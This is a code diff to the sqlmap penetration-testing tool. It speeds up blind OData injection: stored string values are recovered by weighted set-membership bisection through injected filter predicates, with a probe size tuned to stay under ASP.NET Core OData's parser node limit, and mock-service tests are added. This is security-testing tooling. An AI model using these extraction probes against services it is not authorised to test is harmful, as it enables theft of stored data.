diff --git a/lib/core/settings.py b/lib/core/settings.py index 8589e1fe4..125492bf8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.8.23" +VERSION = "1.10.8.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1496,10 +1496,16 @@ ODATA_ERROR_SIGNATURES = ( ODATA_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in ODATA_ERROR_SIGNATURES) -# Printable-ASCII codepoint bounds for the (lexicographic, binary-search) OData blind character scan +# Printable-ASCII codepoint bounds for the OData blind character scan ODATA_CHAR_MIN = 0x20 ODATA_CHAR_MAX = 0x7e +# Candidate characters per set-membership probe on a service without the v4.01 'in' operator, where a +# set has to be spelled as a disjunction of equalities. Each term costs the parser ~8 of the 100 nodes +# ASP.NET Core OData allows by default (MaxNodeCount), measured to reject at 11 terms - so this leaves +# headroom for a longer key/property name in the same filter +ODATA_CHARSET_BLOCK = 8 + ODATA_MAX_LENGTH = 256 # a single property value ODATA_MAX_RECORDS = 20 # entities blind-dumped ODATA_MAX_KEY = 100000 # upper bound when bisecting for the lowest existing numeric key diff --git a/lib/techniques/odata/inject.py b/lib/techniques/odata/inject.py index 746a1a0ea..d8806412f 100644 --- a/lib/techniques/odata/inject.py +++ b/lib/techniques/odata/inject.py @@ -44,8 +44,10 @@ from lib.utils.nonsql import blockedStatus from lib.utils.nonsql import ratio as _ratio from lib.utils.nonsql import userDecision from lib.utils.nonsql import userOracleActive +from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS from lib.core.settings import ODATA_CHAR_MAX from lib.core.settings import ODATA_CHAR_MIN +from lib.core.settings import ODATA_CHARSET_BLOCK from lib.core.settings import ODATA_COMMON_FIELDS from lib.core.settings import ODATA_ERROR_REGEX from lib.core.settings import ODATA_ERROR_SIGNATURES @@ -78,13 +80,14 @@ _BOUNDARY_TABLE = ( ) # Charset for blind character recovery. -# NOTE recovery uses EXACT equality (substring(...) eq 'c'), not a '>=' bisection: .NET / OData string +# NOTE recovery uses EXACT equality (substring(...) eq 'c'), never a '>=' bisection: .NET / OData string # relational comparison is culture-aware and case-folding ('l' and 'L' compare equal), which scrambles a -# lexicographic bisection, whereas eq is ordinal and exact. So the set is ordered by real-world frequency -# to keep the linear scan short on typical data rather than by codepoint. Because the scan is exact -# rather than positional, the order is free and a missing codepoint only costs coverage - it cannot -# alias onto a neighbour the way a bisection hole does. Nothing is excluded: the one character OData -# cannot carry raw inside a literal, the single quote, is doubled per the spec instead of dropped. +# lexicographic bisection, whereas eq is ordinal and exact. Bisection is recovered WITHOUT ordering by +# asking about a whole candidate set per request (see _memberOf), so the set is ordered by real-world +# frequency - a common character is settled inside the first block. Because the probe is exact rather +# than positional, the order is free and a missing codepoint only costs coverage - it cannot alias onto +# a neighbour the way a bisection hole does. Nothing is excluded: the one character OData cannot carry +# raw inside a literal, the single quote, is doubled per the spec instead of dropped. _FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + tuple(xrange(ord('A'), ord('Z') + 1)) + tuple(xrange(ord('0'), ord('9') + 1)) + tuple(ord(_) for _ in " @._-+:/!#$%&*=?")) _CS_ORDS = [] @@ -95,6 +98,24 @@ for _o in xrange(ODATA_CHAR_MIN, ODATA_CHAR_MAX + 1): if _o not in _CS_ORDS: _CS_ORDS.append(_o) +# ...and weighted by the same shipped character prior blind SQL retrieval banks on, so a set is split +# at its cumulative-WEIGHT midpoint rather than its midpoint by count. That puts the likely characters +# nearer the root of the decision tree, which is what beats a uniform bisection's flat log2(charset). +_CS_WEIGHTS = dict((_o, HUFFMAN_PRIOR_WEIGHTS.get(_o, 1)) for _o in _CS_ORDS) +_CS_ORDS.sort(key=lambda _o: -_CS_WEIGHTS[_o]) + + +def _splitPoint(candidates): + """Where to cut `candidates` so that either answer is about equally likely (never degenerate).""" + + half = sum(_CS_WEIGHTS[_] for _ in candidates) / 2.0 + running = 0 + for index, ordinal in enumerate(candidates): + running += _CS_WEIGHTS[ordinal] + if running >= half: + return min(index + 1, len(candidates) - 1) + return len(candidates) - 1 + def _literal(ordinal): """One codepoint as a single-quoted OData string literal (an inner quote is doubled, not escaped).""" @@ -399,13 +420,38 @@ def _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface=True return None, [] -def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH): +def _memberOf(oracle, pin, field, pos, ordinals, useIn): + """One request asking whether the character at `pos` is ANY of `ordinals`.""" + + substring = "substring(%s,%d,1)" % (field, pos) + if useIn: + return oracle("(%s%s in (%s))" % (pin, substring, ",".join(_literal(_) for _ in ordinals))) + return oracle("(%s(%s))" % (pin, " or ".join("%s eq %s" % (substring, _literal(_)) for _ in ordinals))) + + +def _supportsIn(oracle, pin): + """Whether the service speaks the v4.01 `in` operator, settled by a differential so one that merely + tolerates the syntax cannot fake it. Both spellings ask the identical question, but `in` costs the + parser a SINGLE node against ~8 per candidate for the disjunction, and the ceiling is real: ASP.NET + Core OData allows 100 nodes by default (MaxNodeCount) and was measured rejecting an 11-term + disjunction outright. So `in`, where offered, buys headroom on a service configured stricter than + the default rather than a bigger question.""" + + try: + return oracle("(%s'a' in ('a','b'))" % pin) and not oracle("(%s'a' in ('b','c'))" % pin) + except InconclusiveError: + return False + + +def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH, useIn=None): """Blindly recover one string property of the entity pinned by key==keyValue: length by binary - search, then each character by bisecting its index in the codepoint-ordered charset. OData substring() - is 0-indexed, so character `pos` (1-based) is substring(field,pos-1,1).""" + search, then each character by set-membership bisection. OData substring() is 0-indexed, so + character `pos` (1-based) is substring(field,pos-1,1).""" pin = "%s eq %d and " % (key, keyValue) try: + if useIn is None: + useIn = _supportsIn(oracle, pin) if not oracle("(%slength(%s) ge 1)" % (pin, field)): return "" lo, hi = 1, maxLen @@ -419,12 +465,22 @@ def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH): chars = [] for pos in xrange(length): - # exact-match linear scan (eq is ordinal); frequency order keeps it short on typical values + # A whole candidate set is asked about in ONE request, so a probe halves the space just as + # a relational bisection would - without ever leaving `eq`, the only comparison .NET does + # not case-fold. The weight-ordered blocks are tried in turn, so a likely character is + # settled by the first of them and never pays for the rest of the charset. recovered = "?" - for ordinal in _CS_ORDS: - if oracle("(%ssubstring(%s,%d,1) eq %s)" % (pin, field, pos, _literal(ordinal))): - recovered = chr(ordinal) - break + for start in xrange(0, len(_CS_ORDS), ODATA_CHARSET_BLOCK): + candidates = _CS_ORDS[start:start + ODATA_CHARSET_BLOCK] + if not _memberOf(oracle, pin, field, pos, candidates, useIn): + continue + while len(candidates) > 1: + # membership in `candidates` is established, so the untested side is implied + cut = _splitPoint(candidates) + candidates = (candidates[:cut] if _memberOf(oracle, pin, field, pos, candidates[:cut], useIn) + else candidates[cut:]) + recovered = chr(candidates[0]) + break chars.append(recovered) except InconclusiveError: logger.warning("OData extraction aborted for '%s' (oracle inconclusive after retries)" % field) @@ -482,13 +538,19 @@ def _dumpEntities(place, parameter, boundary, emptyPage): % (key, len(keys), "y" if len(keys) == 1 else "ies", ", ".join(fields))) rows = [] + useIn = None for value in keys: oracle = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, value)) if oracle is None: continue + if useIn is None: + # a property of the service, not of the entity, so it is settled once for the whole dump + useIn = _supportsIn(oracle, "%s eq %d and " % (key, value)) + logger.debug("service %s the 'in' operator, so one probe covers %d candidate character(s)" + % ("speaks" if useIn else "does not speak", len(_CS_ORDS) if useIn else ODATA_CHARSET_BLOCK)) row = [str(value)] for field in fields[1:]: - recovered = _inferField(oracle, key, value, field) + recovered = _inferField(oracle, key, value, field, useIn=useIn) row.append("?" if recovered is None else recovered) rows.append(row) diff --git a/tests/test_odata.py b/tests/test_odata.py index 1e03411f4..feca25624 100644 --- a/tests/test_odata.py +++ b/tests/test_odata.py @@ -20,6 +20,7 @@ from _testutils import bootstrap bootstrap() import lib.techniques.odata.inject as odata +from lib.core.settings import ODATA_CHARSET_BLOCK from lib.core.settings import ODATA_ERROR_REGEX _ENTITIES = ( @@ -339,5 +340,86 @@ class TestDetectionAndExtraction(unittest.TestCase): self.assertIsNone(template) +_LITERAL = r"'(?:[^']|'')*'" +_IN_REGEX = re.compile(r"(?Psubstring\(\w+,\d+,1\)|%s) in \((?P%s(?:,%s)*)\)" + % (_LITERAL, _LITERAL, _LITERAL)) + + +def _expandIn(expr): + """Rewrite a v4.01 "X in (a,b,c)" into the equivalent v4.0 disjunction - all the mock parser needs + in order to model a service that offers the operator, without teaching _atom() a second syntax.""" + + def expand(match): + lhs = match.group("lhs") + return "(%s)" % " or ".join("%s eq %s" % (lhs, _) for _ in re.findall(_LITERAL, match.group("items"))) + + return _IN_REGEX.sub(expand, expr) + + +def _mockSendIn(place, parameter, value, raw=False): + """A v4.01 service: identical semantics, but it also parses the 'in' operator.""" + return _mockSend(place, parameter, _expandIn(value), raw) + + +class TestSetMembershipRecovery(unittest.TestCase): + """Character recovery asks about a whole candidate SET per request. .NET string comparison is + culture-aware and case-folding, so a lexicographic bisection is unusable - but set membership needs + no ordering and halves the space just the same. This pins the cost: the linear scan this replaced + spent one request per candidate, up to the whole charset for a single character.""" + + def setUp(self): + self.saved, self.savedParams = odata._send, odata.conf.parameters + odata.conf.parameters = {odata.PLACE.GET: "name=luther"} + odata.SENTINEL = "zzsentinelzz" + self.sent = [] + + def tearDown(self): + odata._send, odata.conf.parameters = self.saved, self.savedParams + + def _extract(self, service, field="Secret"): + def counting(place, parameter, value, raw=False): + self.sent.append(value) + return service(place, parameter, value, raw) + + odata._send = counting + _t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name") + oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary, truePredicate="(Id eq 1)") + self.assertIsNotNone(oracle) + before = len(self.sent) + return odata._inferField(oracle, "Id", 1, field), len(self.sent) - before + + def test_v40_service_extracts_under_a_linear_scan(self): + value, cost = self._extract(_mockSend) + self.assertEqual(value, "S3CR3Tvalue") + self.assertLess(cost, len(value) * len(odata._CS_ORDS)) + + def test_v401_service_extracts_the_same_value(self): + value, cost = self._extract(_mockSendIn) + self.assertEqual(value, "S3CR3Tvalue") + self.assertLess(cost, len(value) * len(odata._CS_ORDS)) + + def test_in_encoding_is_used_only_when_offered(self): + self._extract(_mockSendIn) + self.assertTrue(any(" in (" in _ for _ in self.sent)) + self.sent = [] + self._extract(_mockSend) + self.assertFalse(any("substring(Secret,0,1) in (" in _ for _ in self.sent)) + + def test_disjunction_stays_inside_the_node_budget(self): + """Every 'or' term costs the service's parser ~8 of the 100 nodes ASP.NET Core OData allows by + default (MaxNodeCount); an 11-term disjunction was measured being rejected outright.""" + + self._extract(_mockSend) + for value in self.sent: + self.assertLessEqual(value.count("substring("), ODATA_CHARSET_BLOCK) + + def test_split_point_never_degenerates(self): + """A cut of 0 or of len(candidates) would leave the set unchanged and loop forever.""" + + for size in range(2, len(odata._CS_ORDS) + 1): + cut = odata._splitPoint(odata._CS_ORDS[:size]) + self.assertTrue(0 < cut < size, "size %d cut %d" % (size, cut)) + + if __name__ == "__main__": unittest.main(verbosity=2)